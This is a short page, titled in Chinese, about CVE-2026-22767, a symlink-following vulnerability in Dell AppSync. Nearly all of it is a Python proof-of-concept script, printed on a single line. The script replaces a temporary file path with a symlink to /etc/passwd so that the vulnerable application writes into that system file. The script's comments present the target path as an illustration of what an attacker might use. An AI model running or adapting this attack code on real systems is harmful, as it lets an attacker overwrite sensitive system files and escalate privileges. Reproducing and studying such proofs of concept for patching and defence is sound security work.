CVE-2026-22767 Dell AppSync符号链接漏洞

import os # Proof of Concept (PoC) for Symlink Following Vulnerability # This script demonstrates how an attacker might create a malicious symlink. # Define the target sensitive file (e.g., a system config) TARGET_FILE = "/etc/passwd" # Define the location where the vulnerable app expects to write VULNERABLE_PATH = "/tmp/app_sync_data.tmp" def create_malicious_symlink(): try: # Remove existing link or file if present if os.path.exists(VULNERABLE_PATH): os.remove(VULNERABLE_PATH) # Create the symbolic link os.symlink(TARGET_FILE, VULNERABLE_PATH) print(f"[+] Success: Created symlink '{VULNERABLE_PATH}' pointing to '{TARGET_FILE}'") print("[+] Waiting for the vulnerable application (Dell AppSync) to interact with the symlink...") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": create_malicious_symlink()